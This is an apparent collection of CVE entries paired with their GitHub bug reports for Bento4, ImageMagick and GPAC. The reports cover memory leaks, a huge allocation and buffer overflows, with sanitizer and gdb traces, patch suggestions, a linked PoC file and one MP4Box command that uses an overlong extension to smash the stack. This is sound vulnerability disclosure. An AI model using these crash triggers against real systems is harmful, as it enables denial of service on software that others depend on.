A crafted input will lead to failed allocate LargeMmapAllocator in Ap4Array.h at Bento4 1.5.1-628. Triggered by ./mp42hls crash3.mp4 Poc [poc1.zip](https://github.com/axiomatic-systems/Bento4/files/2795098/poc1.zip) Bento4 Version 1.5.1-628 The ASAN information is as follows: ``` ==56305==ERROR: AddressSanitizer failed to allocate 0xc00003000 (51539619840) bytes of LargeMmapAllocator (errno: 12) ==56305==Process memory map follows: 0x000000400000-0x0000007b4000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b4000-0x0000009b5000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b5000-0x000000b5b000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x616000000000 0x616000000000-0x616000020000 0x616000020000-0x619000000000 0x619000000000-0x619000020000 0x619000020000-0x621000000000 0x621000000000-0x621000020000 0x621000020000-0x631000000000 0x631000000000-0x631000030000 0x631000030000-0x640000000000 0x640000000000-0x640000003000 0x7ff016000000-0x7ff016100000 0x7ff016200000-0x7ff016300000 0x7ff01635e000-0x7ff0186b0000 0x7ff0186b0000-0x7ff0187b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0187b8000-0x7ff0189b7000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b7000-0x7ff0189b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b8000-0x7ff0189b9000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b9000-0x7ff0189bc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff0189bc000-0x7ff018bbb000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbb000-0x7ff018bbc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbc000-0x7ff018bbd000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbd000-0x7ff018bd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018bd5000-0x7ff018dd4000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd4000-0x7ff018dd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd5000-0x7ff018dd6000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd6000-0x7ff018dda000 0x7ff018dda000-0x7ff018f9a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff018f9a000-0x7ff01919a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919a000-0x7ff01919e000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919e000-0x7ff0191a0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0191a0000-0x7ff0191a4000 0x7ff0191a4000-0x7ff0191ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0191ba000-0x7ff0193b9000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193b9000-0x7ff0193ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193ba000-0x7ff01952c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01952c000-0x7ff01972c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01972c000-0x7ff019736000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019736000-0x7ff019738000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019738000-0x7ff01973c000 0x7ff01973c000-0x7ff019830000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019830000-0x7ff019a30000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a30000-0x7ff019a33000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a33000-0x7ff019a34000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a34000-0x7ff01a6a9000 0x7ff01a6a9000-0x7ff01a6cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a81a000-0x7ff01a8b8000 0x7ff01a8b8000-0x7ff01a8ce000 0x7ff01a8ce000-0x7ff01a8cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8cf000-0x7ff01a8d0000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8d0000-0x7ff01a8d1000 0x7ffc5d59c000-0x7ffc5d5bd000 [stack] 0x7ffc5d5c2000-0x7ffc5d5c4000 [vvar] 0x7ffc5d5c4000-0x7ffc5d5c6000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==56305==End of process memory map. ==56305==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:121 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0) #0 0x7ff0197dc631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7ff0197e15e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7ff0197e9611 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xad611) #3 0x7ff01975ec0c (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22c0c) #4 0x7ff0197d54fe in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x994fe) #5 0x550cef in AP4_Array<AP4_ElstEntry>::EnsureCapacity(unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4Array.h:172 #6 0x550017 in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:73 #7 0x54fd41 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:51 #8 0x522fcb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:545 #9 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x488805 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:88 #13 0x523eba in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:764 #14 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #15 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #16 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #17 0x4a2174 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.cpp:165 #18 0x524ab5 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.h:58 #19 0x52231f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:379 #20 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #21 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #22 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #23 0x530ca3 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.cpp:80 #24 0x524a59 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.h:56 #25 0x522198 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:359 #26 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #27 0x5207c7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:151 #28 0x48f2c5 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:104 #29 0x48ef34 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:78 #30 0x45eebd in main /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1846 #31 0x7ff018dfa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #32 0x4549e8 in _start (/home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls+0x4549e8) ``` FoundBy: wu.an.1900@gamil.com

failed to allocate LargeMmapAllocator in Ap4Array.h at Bento4 v1.5.1-628 when running mp42hls

https://api.github.com/repos/axiomatic-systems/Bento4/issues/361/comments

2019-01-25T07:49:22Z

2019-12-26T14:50:59Z

https://github.com/axiomatic-systems/Bento4/issues/361

CVE-2019-7395

2019-02-05T00:29:00.400

In ImageMagick before 7.0.8-25, a memory leak exists in WritePSDChannel in coders/psd.c.

https://github.com/ImageMagick/ImageMagick/issues/1451

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in WritePSDChannel in coders/psd.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/psd.c#L2767 ```c #ifdef MAGICKCORE_ZLIB_DELEGATE if (compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, //line 2770 sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } memset(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); return(0); //line 2785 } } ``` **compressed_pixels** is allocated at *line 2770*, however, when the condition at *line 2782* is satisfied and the function returns at line *2785*, **compressed_pixels** (size is 16KB) is not freed and memory leak happens. In addition, the value of **compressed_pixels** is not passed outside to its caller function when returned at *line 2785*. So the condition that this memory leak happens is that *MAGICKCORE_ZLIB_DELEGATE* is defined, compression type is *ZipCompression* and *deflateInit(&stream,level)* is not *Z_OK*. The size of leaked memory is 16KB. Patch suggestion: ```c if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); + compressed_pixels=(unsigned char *) RelinquishMagickMemory( + compressed_pixels); return(0); } } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE

memory leak in WritePSDChannel in coders/psd.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1451/comments

2019-01-17T03:11:55Z

2019-02-12T01:45:47Z

https://github.com/ImageMagick/ImageMagick/issues/1451

CVE-2019-7396

2019-02-05T00:29:00.447

In ImageMagick before 7.0.8-25, a memory leak exists in ReadSIXELImage in coders/sixel.c.

https://github.com/ImageMagick/ImageMagick/issues/1452

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> potential memory leak in ReadSIXELImage in sixel.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The first critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L539 ```c if (imsx > max_x || imsy > max_y) { // line 539 dmsx = max_x; dmsy = max_y; if (SetImageExtent(image,dmsx,dmsy,exception) == MagickFalse) { imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } if ((dmbuf = (unsigned char *) AcquireQuantumMemory(dmsx , dmsy)) == NULL) { //line 547 imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } for (y = 0; y < dmsy; ++y) { (void) memcpy(dmbuf + dmsx * y, imbuf + imsx * y, dmsx); } imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); imsx = dmsx; imsy = dmsy; imbuf = dmbuf; //line 557 } *pixels = imbuf; //line 560 *pwidth = imsx; *pheight = imsy; *ncolors = max_color_index + 1; *palette = (unsigned char *) AcquireQuantumMemory(*ncolors,4); // line 564 if (*palette == (unsigned char *) NULL) return(MagickFalse); // line 566 ``` When condition at line **539** is satisfied and **dmbuf** is successfully allocated at line **547**, the value of dmbuf is assigned to **imbuf** at line **557** and is finally assigned to the pointer parameter **pixels** at line **560** (i.e. the buf's address is passed outside to the caller function). Now, when the allocation at line **564** failed, the function will return *MagickFalse* at line **566**. Next, I searched the whole project code and only found one call to **sixel_decode** which locates in function **ReadSIXELImage** in sixel.c at line **1057** as the following. The local variable **sixel_pixels** holds the value of **dmbuf**. https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L1057 ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) // line 1057 { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); ThrowReaderException(CorruptImageError,"CorruptImage"); } sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); image->depth=24; image->storage_class=PseudoClass; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); // line 1068 sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette); return(DestroyImageList(image)); } ``` However, when function *sixel_decode* returned *MagickFalse* as described above, the memory pointed by **sixel_pixels** (i.e. the memory allocated at line 547) was not freed as done at line **1068**. As a result, a memory leak happens. Patch Suggestion: ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); + sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); ThrowReaderException(CorruptImageError,"CorruptImage"); } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in ReadSIXELImage in coders/sixel.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1452/comments

2019-01-17T04:06:51Z

2019-03-11T01:54:07Z

https://github.com/ImageMagick/ImageMagick/issues/1452

CVE-2019-7397

2019-02-05T00:29:00.510

In ImageMagick before 7.0.8-25 and GraphicsMagick through 1.3.31, several memory leaks exist in WritePDFImage in coders/pdf.c.

https://github.com/ImageMagick/ImageMagick/issues/1454

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> Potential memory leak in function WritePDFImage in coders/pdf.c, which is similar to but different from #576. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> **xref** is allocated at line [L1362](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362) or reallocated at line [L1499](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1499). ```c 1362: xref=(MagickOffsetType *) AcquireQuantumMemory(2048UL,sizeof(*xref)); 1499: xref=(MagickOffsetType *) ResizeQuantumMemory(xref,(size_t) count+2048UL, sizeof(*xref)); ``` However, when the function returns with *MagickFalse* (such as [L1902](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1902) and [L1912](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1912)), **xref** was neither passed outside to the caller function nor freed. I believe the two positions needs to free **xref** because **xref** is freed at the **default case** at [L1931](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1931) while the 2 positions locates in another 2 cases of a switch statement. So memory leak can happen at line **1902** and **1912**. There are many similar positions including [L1965](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1965), [L2011](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2011), [L2021](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2021), [L2082](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2082), [L2179](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2179), [L2427](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362), [L2437](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2437), [L2488](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2488), [L2529](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2529), [L2539](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2539), [L2594](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2594), [L2682](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2682) and [L2894](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2894). ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 + VS Code - Additional information: code review <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu of VARAS of IIE

Potential Memory Leak in WritePDFImage in coders/pdf.c different from #576

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1454/comments

2019-01-17T11:10:56Z

2019-02-12T01:46:36Z

https://github.com/ImageMagick/ImageMagick/issues/1454

CVE-2019-7398

2019-02-05T00:29:00.570

In ImageMagick before 7.0.8-25, a memory leak exists in WriteDIBImage in coders/dib.c.

https://github.com/ImageMagick/ImageMagick/issues/1453

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in WriteDIBImage in coders/dib.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippets are: https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1330 ```c if (dib_info.bits_per_pixel == 8) //line 1330 if (image_info->compression != NoCompression) //line 1331 { size_t length; /* Convert run-length encoded raster pixels. */ length=2UL*(bytes_per_line+2UL)+2UL; dib_data=(unsigned char *) AcquireQuantumMemory(length, // line 1340 (image->rows+2UL)*sizeof(*dib_data)); if (dib_data == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } dib_info.image_size=(unsigned int) EncodeImage(image,bytes_per_line, pixels,dib_data); pixels=(unsigned char *) RelinquishMagickMemory(pixels); pixels=dib_data; // line 1350 dib_info.compression = BI_RLE8; } ``` and https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1367 ```c if (image->storage_class == PseudoClass) //line 1367 { if (dib_info.bits_per_pixel <= 8) //line 1369 { unsigned char *dib_colormap; /* Dump colormap to file. */ dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) // line 1379 ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); // line 1380 q=dib_colormap; ``` According to the code in function WriteDIBImage before line 1330, when **image->storage_class** is not **DirectClass** (i.e. storage class is **PseudoClass**) and **image_info->depth<=8**, **dib_info.bits_per_pixel** can be equal to **8** (at line 1151-1155), as a result, **dib_info.compression** will be BI_RGB (at line 1164-1165). **So the 4 conditions at line 1330, 1331, 1367 and 1369 can be satisfied at the same time in some setting.** When the 4 conditions are satisfied and **dib_data** is successfully allocated at line **1340**, **dib_data** will be assigned to **pixels** at line **1350**. However, when the allocation at line **1377** fails, the function don't free **dib_data** memory as done at line **1410** before returning with exception at line **1378**. As a result, a memory leak will happen. The size of leaked memory is 4*((image->columns*dib_info.bits_per_pixel+31)/32)*(image->rows+2UL)*sizeof(*dib_data) = (image->columns + 4) * (image->rows + 2) * sizeof(*dib_data), which may be a large value. (ps. dib_info.bits_per_pixel is 8) Patch Suggestion: ```c dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) // line 1377 (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } q=dib_colormap; ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in WriteDIBImage in coders/dib.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1453/comments

2019-01-17T06:50:47Z

2019-02-12T01:46:59Z

https://github.com/ImageMagick/ImageMagick/issues/1453

CVE-2018-20760

2019-02-06T23:29:00.230

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because a certain -1 return value is mishandled.

https://github.com/gpac/gpac/issues/1177

github.com

In gf_text_get_utf8_line function, gf_utf8_wcstombs return -1 with crafted srt file, it will cause szLineConv[i] = 0 out of bound write root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -add crafted.srt overview.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -add crafted.srt overview.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Program received signal SIGBUS, Bus error. 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 272 szLineConv[i] = 0; (gdb) bt #0 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 #1 0x00007ffff79b39c6 in gf_text_import_srt (import=0x7fffffff6030) at media_tools/text_import.c:429 #2 0x00007ffff79bd165 in gf_import_timed_text (import=0x7fffffff6030) at media_tools/text_import.c:2644 #3 0x00007ffff7933f09 in gf_media_import (importer=0x7fffffff6030) at media_tools/media_import.c:10619 #4 0x000000000043727a in import_file (dest=0x65d010, inName=0x7fffffffe7f6 "crafted.srt", import_flags=0, force_fps=0, frames_per_sample=0) at fileimport.c:685 #5 0x000000000041bdac in mp4boxMain (argc=4, argv=0x7fffffffe578) at main.c:4177 #6 0x000000000042215e in main (argc=4, argv=0x7fffffffe578) at main.c:5695 (gdb)

OOB issue of gf_text_get_utf8_line

https://api.github.com/repos/gpac/gpac/issues/1177/comments

2018-12-13T10:41:00Z

2022-08-25T08:25:32Z

https://github.com/gpac/gpac/issues/1177

CVE-2018-20761

2019-02-06T23:29:00.293

GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a.

https://github.com/gpac/gpac/issues/1186

github.com

There is a buffer overflow issue in gf_sm_load_init () function, scene_manager.c GF_Err gf_sm_load_init(GF_SceneLoader *load) { …… ext = (char *)strrchr(load->fileName, '.'); if (!ext) return GF_NOT_SUPPORTED; if (!stricmp(ext, ".gz")) { char *anext; ext[0] = 0; anext = (char *)strrchr(load->fileName, '.'); ext[0] = '.'; ext = anext; } strcpy(szExt, &ext[1]); // buffer overflow here. …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -inctx inScene.exttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt -out output.txt -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped)

buffer overflow issue 3#

https://api.github.com/repos/gpac/gpac/issues/1186/comments

